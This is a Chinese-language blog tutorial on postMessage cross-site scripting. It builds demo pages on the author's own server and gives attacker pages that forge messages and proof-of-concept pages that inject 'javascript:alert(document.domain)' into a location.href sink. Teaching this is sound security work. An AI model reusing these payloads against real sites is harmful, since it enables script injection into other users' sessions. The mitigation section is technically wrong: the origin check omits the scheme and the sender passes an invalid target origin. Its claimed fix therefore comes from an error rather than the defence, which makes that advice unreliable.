PostMessage xss學習和挖掘

  PostMessage xss很有趣,在國外出現了很多次,中國src/眾測從沒遇到過,挖到過。可能境界還不夠,有機會再去試試。好幾年前記得心血來潮學過一次,都是半知半解,後來因為重要性不高,不了了之了,今天重新撿起來。

  PostMessage的含義:參考MDN:

    

Window.postmessage()方法可以安全地實現Window對象之間的跨源通訊;例如,在頁面和它派生的彈出窗口之間,或者在頁面和其內嵌的iframe之間。

  簡單點來說,我是這樣理解的:發送相應數據到目標頁面,目標頁面接收傳輸的數據並進行處理。

  具體理論詳情參考://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

  廢話不多說,先準備環境:一台閑置vps:

   搭建兩個環境頁面:

    demo1.html:代發送數據的頁面:

      

<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
function openChild() {
    child = window.open('demo2.html', 'popup', 'height=300px, width=500px');
}
function sendMessage(){
    //發送的數據內容
    let msg={pName : "jack", pAge: "12"};
    //發送消息數據數據到任意目標源, *指的是任意anyone
    child.postMessage(msg,'*');
}
</script>
</head>
<body>
    <form>
        <fieldset>
            <input type='button' id='btnopen' value='Open child' onclick='openChild();' />
            <input type='button' id='btnSendMsg' value='Send Message' onclick='sendMessage();' />
        </fieldset>
    </form>
</body>
</html>

 

demo2.html:代監聽發送的數據,接收消息數據頁面:

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8" />
    <script>
        //添加事件監控消息
    window.addEventListener("message", (event)=>{
        let txt=document.getElementById("msg");
        //接收傳輸過來的變數數據
        txt.value=`Name is ${event.data.pName} Age is  ${event.data.pAge}` ;

    });
    </script>
</head>
<body>
    <form>
        <h1>postMessage學習</h1>
        <input type='text' id='msg'/>
    </form>
</body>
</html>

 

  訪問://119.45.227.86/postmessage/demo1.html

  

 

 

 

第二步:f12子窗口,找到監聽程式碼:

  

 

 

然後選擇主窗口,點擊Send Messsage:

  查看子窗口,接收數據成功:

    

 

 

 

  這樣我們就完成了一次:發送數據->接收數據的一個過程

 

  了解了基礎的使用,下面是關於PostMessgae XSS的安全隱患:

  (1):數據偽造:

   因為發送數據中,使用的是*,並沒有限制目標源,導致可以通過任意地址給//119.45.227.86/postmessage/demo2.html發送數據:

   attacker.html:

<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
childwin = window.open('//119.45.227.86/postmessage/demo2.html');

function sendMessage(){
    let msg={pName : "attacker", pAge: "16"};
    childwin.postMessage(msg,'*')
}

(function(){setTimeout("sendMessage()",1000);}()); 
</script>
</head>
</html>

 

      

 直接本地localhost(模擬攻擊者vps)訪問:

  

 

 

發現通過攻擊者vps成功修改了傳輸過去的數據,原來是

   

Name is jack Age is  12

 後被更改成:

  

Name is attacker Age is  16

  

 (2)接收處的處理不當導致的dom xss:

  測試環境://119.45.227.86/postmessage/xss.html

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8" />
    <script>
    window.addEventListener("message", (event)=>{
        location.href=`${event.data.url}`;
    });
    </script>
</head>
</html>

    

location.href="數據",這裡可控,可以url跳轉,也可以xss 

  

    利用poc:

    

<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
childwin = window.open('//119.45.227.86/postmessage/xss.html');

function sendMessage(){
    let msg={url:"javascript:alert(document.domain)"};
    childwin.postMessage(msg,'*')
}

(function(){setTimeout("sendMessage()",1000);}()); 
</script>
</head>
</html>

 

   本地訪問跳轉即觸發xss:    

 

  利用成功。利用poc2:

    

<!DOCTYPE html>
<html>
<head>
    <title></title>
</head>
<body>
    <iframe name="test" src="//119.45.227.86/postmessage/xss.html" onload="xss()"></iframe>
</body>
<script type="text/javascript">
    var iframe = window.frames.test

    function xss(){
        let msg={"url":"javascript:alert(document.domain)"};
        iframe.postMessage(msg,'*');
    }
</script>
</html

  

  本地訪問:

  直接打開即觸發xss:

  

 

   修復緩解方案:

    //119.45.227.86/postmessage/xss_renovate.html

    測試程式碼:

    

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8" />
    <script>
        window.addEventListener("message", (event)=>{
            if (event.origin !== "//119.45.227.86"){
                return;
            }
         location.href=`${event.data.url}`;
        });
    </script>
</head>
<body>
   
</body>
</html>

  限制目標源為指定:

    

<!DOCTYPE html>
<html>
<head>
    <title></title>
 <meta charset="utf-8" />
<script>
childwin = window.open('//119.45.227.86/postmessage/xss.html');

function sendMessage(){
    let msg={url:"javascript:alert(document.domain)"};
    childwin.postMessage(msg,'xss_renovate.html')
}

(function(){setTimeout("sendMessage()",1000);}()); 
</script>
</head>
</html>

 

再次訪問,沒有彈窗xss了:

 

 

  1.限制發送目標,禁止使用*

  2.限制接收數據event.origin,使用指定信任域